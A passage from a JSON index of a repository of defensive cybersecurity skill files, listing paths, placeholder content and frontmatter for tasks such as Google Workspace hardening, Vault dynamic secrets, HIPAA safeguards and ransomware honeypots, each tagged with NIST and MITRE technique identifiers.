GDPR.\n","domain":"cybersecurity","subdomain":"privacy-compliance","tags":["gdpr","dsar","privacy","pii-discovery","data-subject-rights","compliance","article-15"],"version":"1.0","author":"mukul975","license":"Apache-2.0","nist_csf":["GV.PO-01","PR.DS-01","GV.OC-05"],"mitre_attack":["T1078","T1190","T1059"]},"isInternal":false,"tokens":2331,"sizeBytes":9894},{"name":"template.md","path":"skills/implementing-github-advanced-security-for-code-scanning/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-github-advanced-security-for-code-scanning/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":586,"sizeBytes":2484},{"name":"api-reference.md","path":"skills/implementing-github-advanced-security-for-code-scanning/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-github-advanced-security-for-code-scanning/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":533,"sizeBytes":1935},{"name":"standards.md","path":"skills/implementing-github-advanced-security-for-code-scanning/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-github-advanced-security-for-code-scanning/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":541,"sizeBytes":2220},{"name":"workflows.md","path":"skills/implementing-github-advanced-security-for-code-scanning/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-github-advanced-security-for-code-scanning/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":703,"sizeBytes":3311},{"name":"SKILL.md","path":"skills/implementing-github-advanced-security-for-code-scanning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-github-advanced-security-for-code-scanning/SKILL.md","title":"implementing-github-advanced-security-for-code-scanning","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2FSKILL.md -->","frontmatter":{"name":"implementing-github-advanced-security-for-code-scanning","description":"Configures GitHub Advanced Security (code scanning with CodeQL, secret scanning, dependency review, and Dependabot alerts) to perform automated static analysis and vulnerability detection across repositories at enterprise scale, including custom CodeQL queries and CI workflow integration. Use when setting up or tuning code scanning, rolling out CodeQL across an organization, or shifting SAST left into pull request workflows.","domain":"cybersecurity","subdomain":"devsecops","tags":["github-advanced-security","codeql","sast","code-scanning","supply-chain-security","devops-security","shift-left"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004"]},"isInternal":false,"tokens":1906,"sizeBytes":9120},{"name":"api-reference.md","path":"skills/implementing-google-workspace-admin-security/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-google-workspace-admin-security/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-admin-security%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":536,"sizeBytes":2229},{"name":"SKILL.md","path":"skills/implementing-google-workspace-admin-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-google-workspace-admin-security/SKILL.md","title":"implementing-google-workspace-admin-security","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-admin-security%2FSKILL.md -->","frontmatter":{"name":"implementing-google-workspace-admin-security","description":"Hardens a Google Workspace tenant via Admin Console configuration: phishing-resistant MFA enforcement, DLP policies, email authentication (SPF/DKIM/DMARC), OAuth third-party app control, and external sharing restrictions. Use when hardening a Google Workspace or G Suite tenant, enforcing MFA and OAuth app controls, or configuring cloud office security administration.\n","domain":"cybersecurity","subdomain":"identity-access-management","tags":["Google-Workspace","admin-security","MFA","DMARC","DLP","OAuth","cloud-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1566"],"mitre_f3":{"version":"1.1","tactics":["initial-access","stealth","positioning"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"},{"id":"T1550.001","name":"Use Alternate Authentication Material: Application Access Token","tactic":"initial-access","source":"attack"},{"id":"F1005","name":"Account Manipulation","tactic":"positioning","source":"f3"}]}},"isInternal":false,"tokens":4027,"sizeBytes":17265},{"name":"template.md","path":"skills/implementing-google-workspace-phishing-protection/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-google-workspace-phishing-protection/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":212,"sizeBytes":830},{"name":"api-reference.md","path":"skills/implementing-google-workspace-phishing-protection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-google-workspace-phishing-protection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":406,"sizeBytes":1850},{"name":"standards.md","path":"skills/implementing-google-workspace-phishing-protection/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-google-workspace-phishing-protection/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":312,"sizeBytes":1317},{"name":"workflows.md","path":"skills/implementing-google-workspace-phishing-protection/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-google-workspace-phishing-protection/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":368,"sizeBytes":1400},{"name":"SKILL.md","path":"skills/implementing-google-workspace-phishing-protection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-google-workspace-phishing-protection/SKILL.md","title":"implementing-google-workspace-phishing-protection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2FSKILL.md -->","frontmatter":{"name":"implementing-google-workspace-phishing-protection","description":"Configures Google Workspace advanced phishing and malware protection settings in the Admin Console — pre-delivery message scanning, attachment protection, spoofing/impersonation detection, and Enhanced Safe Browsing enforcement. Use when hardening Gmail against phishing, spoofing, and malware, or when tuning Workspace email security policies.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["google-workspace","gmail","phishing","email-security","safe-browsing","anti-spoofing","admin-console"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566","T1598","T1534","T1036","T1027"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development","initial-access","stealth"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"},{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"},{"id":"F1031","name":"Impersonate Account Holder","tactic":"initial-access","source":"f3"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"}]}},"isInternal":false,"tokens":1239,"sizeBytes":5774},{"name":"template.md","path":"skills/implementing-google-workspace-sso-configuration/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-google-workspace-sso-configuration/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":357,"sizeBytes":1320},{"name":"api-reference.md","path":"skills/implementing-google-workspace-sso-configuration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-google-workspace-sso-configuration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":494,"sizeBytes":1858},{"name":"standards.md","path":"skills/implementing-google-workspace-sso-configuration/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-google-workspace-sso-configuration/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":369,"sizeBytes":1421},{"name":"workflows.md","path":"skills/implementing-google-workspace-sso-configuration/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-google-workspace-sso-configuration/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":895,"sizeBytes":3935},{"name":"SKILL.md","path":"skills/implementing-google-workspace-sso-configuration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-google-workspace-sso-configuration/SKILL.md","title":"implementing-google-workspace-sso-configuration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2FSKILL.md -->","frontmatter":{"name":"implementing-google-workspace-sso-configuration","description":"Configures SAML 2.0 single sign-on for Google Workspace against a third-party identity provider (Okta, Azure AD/Entra ID, ADFS), with Workspace as the Service Provider, to centralize authentication and enable immediate access revocation. Use when setting up or troubleshooting Google Workspace SSO/SAML federation or migrating from native Google passwords to an external IdP.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["google-workspace","sso","saml","identity-provider","authentication","federation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning"],"techniques":[{"id":"T1110","name":"Brute Force","tactic":"initial-access","source":"attack"},{"id":"T1110.004","name":"Brute Force:  Credential Stuffing","tactic":"initial-access","source":"attack"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":1960,"sizeBytes":7946},{"name":"api-reference.md","path":"skills/implementing-hardware-security-key-authentication/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-hardware-security-key-authentication/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hardware-security-key-authentication%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1493,"sizeBytes":6438},{"name":"SKILL.md","path":"skills/implementing-hardware-security-key-authentication/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-hardware-security-key-authentication/SKILL.md","title":"implementing-hardware-security-key-authentication","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hardware-security-key-authentication%2FSKILL.md -->","frontmatter":{"name":"implementing-hardware-security-key-authentication","description":"Builds a FIDO2/WebAuthn relying party server with the python-fido2 library, covering registration and authentication ceremonies, YubiKey enrollment, resident key (discoverable credential/passkey) workflows, and user verification policies. Use when implementing phishing-resistant MFA with hardware security keys, building a WebAuthn relying party, enrolling YubiKeys for a workforce, or migrating password-based authentication to passkeys.\n","domain":"cybersecurity","subdomain":"identity-and-access-management","tags":["FIDO2","WebAuthn","hardware-security-key","YubiKey","passkeys","passwordless-authentication","CTAP2"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","atlas_techniques":["AML.T0051","AML.T0054","AML.T0056"],"nist_ai_rmf":["MEASURE-2.7","MEASURE-2.5","GOVERN-6.1","MAP-5.1"],"nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"]},"isInternal":false,"tokens":3949,"sizeBytes":17960},{"name":"api-reference.md","path":"skills/implementing-hashicorp-vault-dynamic-secrets/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-hashicorp-vault-dynamic-secrets/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hashicorp-vault-dynamic-secrets%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":607,"sizeBytes":2591},{"name":"SKILL.md","path":"skills/implementing-hashicorp-vault-dynamic-secrets/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-hashicorp-vault-dynamic-secrets/SKILL.md","title":"implementing-hashicorp-vault-dynamic-secrets","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hashicorp-vault-dynamic-secrets%2FSKILL.md -->","frontmatter":{"name":"implementing-hashicorp-vault-dynamic-secrets","description":"Configures HashiCorp Vault dynamic secrets engines for database credentials, AWS IAM keys, and PKI certificates, with automatic generation, lease management, and rotation to eliminate static secrets in application configuration. Use when eliminating long-lived static credentials, configuring a Vault secrets engine, generating ephemeral database or cloud credentials, or automating credential rotation for compliance (PCI-DSS, NIST 800-53 IA-5).\n","domain":"cybersecurity","subdomain":"identity-access-management","tags":["HashiCorp-Vault","dynamic-secrets","secrets-management","database-credentials","AWS-secrets","PKI"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1003"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","stealth","resource-development"],"techniques":[{"id":"F1006.001","name":"Account Takeover: Exposed API Key","tactic":"initial-access","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"T1586","name":"Compromise Accounts","tactic":"resource-development","source":"attack"},{"id":"T1555","name":"Credentials from Password Stores","tactic":"reconnaissance","source":"attack"},{"id":"F1005.004","name":"Account Manipulation: Change Account Details","tactic":"positioning","source":"f3"},{"id":"F1033","name":"Insider Access Abuse","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":4984,"sizeBytes":20963},{"name":"template.md","path":"skills/implementing-hipaa-security-rule-safeguards/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-hipaa-security-rule-safeguards/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hipaa-security-rule-safeguards%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1057,"sizeBytes":4105},{"name":"standards.md","path":"skills/implementing-hipaa-security-rule-safeguards/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-hipaa-security-rule-safeguards/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hipaa-security-rule-safeguards%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":1345,"sizeBytes":5612},{"name":"SKILL.md","path":"skills/implementing-hipaa-security-rule-safeguards/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-hipaa-security-rule-safeguards/SKILL.md","title":"implementing-hipaa-security-rule-safeguards","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hipaa-security-rule-safeguards%2FSKILL.md -->","frontmatter":{"name":"implementing-hipaa-security-rule-safeguards","description":"Implement the HIPAA Security Rule (45 CFR Part 164 Subpart C) to protect electronic protected health information (ePHI): conduct the required risk analysis, deploy the administrative, physical, and technical safeguards, handle required vs addressable implementation specifications, execute Business Associate Agreements, and stand up breach-notification readiness. Use when an organization is a HIPAA covered entity or business associate, when protecting ePHI, when preparing for an OCR audit or responding to a breach, when performing a HIPAA Security Risk Analysis, when drafting or reviewing a BAA, or when mapping security controls to the §164.308/310/312/314/316 safeguards. Notes the 2025 NPRM proposed changes (not yet final). Keywords: HIPAA, HIPAA Security Rule, ePHI, PHI, 45 CFR 164, risk analysis, administrative safeguards, physical safeguards, technical safeguards, addressable, required, Business Associate Agreement, BAA, OCR, breach notification, HITECH, covered entity, business associate.","domain":"cybersecurity","subdomain":"compliance-governance","tags":["hipaa","hipaa-security-rule","ephi","phi","45-cfr-164","risk-analysis","baa","breach-notification","ocr","compliance","governance"],"version":"1.0","author":"andrewibrah","license":"Apache-2.0","nist_csf":["GV.OC-03","GV.RM-01","ID.RA-01","ID.RA-05","PR.DS-01","PR.AA-01","DE.CM-01"],"mitre_attack":["T1078","T1566","T1486","T1530","T1048"]},"isInternal":false,"tokens":2274,"sizeBytes":9757},{"name":"template.md","path":"skills/implementing-honeypot-for-ransomware-detection/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-honeypot-for-ransomware-detection/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":232,"sizeBytes":1011},{"name":"api-reference.md","path":"skills/implementing-honeypot-for-ransomware-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-honeypot-for-ransomware-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":462,"sizeBytes":1731},{"name":"standards.md","path":"skills/implementing-honeypot-for-ransomware-detection/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-honeypot-for-ransomware-detection/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":269,"sizeBytes":1007},{"name":"workflows.md","path":"skills/implementing-honeypot-for-ransomware-detection/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-honeypot-for-ransomware-detection/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":394,"sizeBytes":1476},{"name":"SKILL.md","path":"skills/implementing-honeypot-for-ransomware-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-honeypot-for-ransomware-detection/SKILL.md","title":"implementing-honeypot-for-ransomware-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeypot-for-ransomware-detection%2FSKILL.md -->","frontmatter":{"name":"implementing-honeypot-for-ransomware-detection","description":"Deploys canary files, honeypot shares, and decoy systems to detect ransomware activity at the earliest possible stage. Configures canary tokens embedded in strategic file locations that trigger alerts when ransomware attempts encryption, uses honeypot network shares that mimic high-value targets, and deploys Thinkst Canary appliances for comprehensive deception-based detection. Activates for requests involving ransomware honeypots, canary files, deception technology for ransomware, or early ransomware alerting.\n","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["ransomware","detection","honeypot","canary","defense","deception"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Content Format Conversion","File Content Analysis","Platform Hardening","File Format Verification"],"nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1078","T1190","T1059","T1486","T1490"],"mitre_f3":{"version":"1.1","tactics":["positioning","initial-access","monetization","resource-development"],"techniques":[{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"},{"id":"T1586","name":"Compromise Accounts","tactic":"resource-development","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"},{"id":"F1033","name":"Insider Access Abuse","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":3890,"sizeBytes":15634},{"name":"api-reference.md","path":"skills/implementing-honeytokens-for-breach-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-honeytokens-for-breach-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeytokens-for-breach-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":418,"sizeBytes":1528},{"name":"SKILL.md","path":"skills/implementing-honeytokens-for-breach-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-honeytokens-for-breach-detection/SKILL.md","title":"implementing-honeytokens-for-breach-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-honeytokens-for-breach-detection%2FSKILL.md -->","frontmatter":{"name":"implementing-honeytokens-for-breach-detection","description":"Deploys canary tokens and honeytokens (fake AWS credentials, DNS canaries, document beacons, database records) that trigger alerts when accessed by attackers. Uses the Canarytokens API and custom webhook integrations for breach detection. Use when building deception-based early warning systems for intrusion detection.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["deception-technology","honeytokens","canary-tokens","breach-detection","dns-canary","security-operations"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"]},"isInternal":false,"tokens":566,"sizeBytes":2371},{"name":"api-reference.md","path":"skills/implementing-ics-firewall-with-tofino/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ics-firewall-with-tofino/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ics-firewall-with-tofino%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":461,"sizeBytes":1565},{"name":"SKILL.md","path":"skills/implementing-ics-firewall-with-tofino/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ics-firewall-with-tofino/SKILL.md","title":"implementing-ics-firewall-with-tofino","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ics-firewall-with-tofino%2FSKILL.md -->","frontmatter":{"name":"implementing-ics-firewall-with-tofino","description":"Deploys and configures Tofino industrial firewalls (Belden/Hirschmann) to protect SCADA systems and PLCs, using deep packet inspection of OT protocols (Modbus, EtherNet/IP, OPC, S7comm) to enforce access control between ICS zones. Use when deploying zone-level firewall protection in front of PLCs/RTUs, enforcing IEC 62443 zone/conduit boundaries, or adding compensating controls for unpatchable legacy PLCs.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","firewall","tofino","belden","deep-packet-inspection","network-security","scada"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":3063,"sizeBytes":12246},{"name":"api-reference.md","path":"skills/implementing-identity-governance-with-sailpoint/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-identity-governance-with-sailpoint/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-governance-with-sailpoint%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":422,"sizeBytes":1650},{"name":"SKILL.md","path":"skills/implementing-identity-governance-with-sailpoint/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-identity-governance-with-sailpoint/SKILL.md","title":"implementing-identity-governance-with-sailpoint","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-governance-with-sailpoint%2FSKILL.md -->","frontmatter":{"name":"implementing-identity-governance-with-sailpoint","description":"Deploys SailPoint IdentityNow or IdentityIQ for identity governance and administration, covering identity lifecycle management, access request workflows, certification campaigns, role mining, separation-of-duties (SOD) policy enforcement, and compliance reporting. Use when standing up or tuning an identity governance program, automating access certifications, or enforcing SOD policies across enterprise IAM.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","governance","sailpoint","iga","lifecycle"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098"],"mitre_f3":{"version":"1.1","tactics":["positioning","initial-access","defense-impairment"],"techniques":[{"id":"F1005","name":"Account Manipulation","tactic":"positioning","source":"f3"},{"id":"F1005.002","name":"Account Manipulation: Add Authorized User","tactic":"positioning","source":"f3"},{"id":"F1033","name":"Insider Access Abuse","tactic":"initial-access","source":"f3"},{"id":"F1042","name":"Reactivate 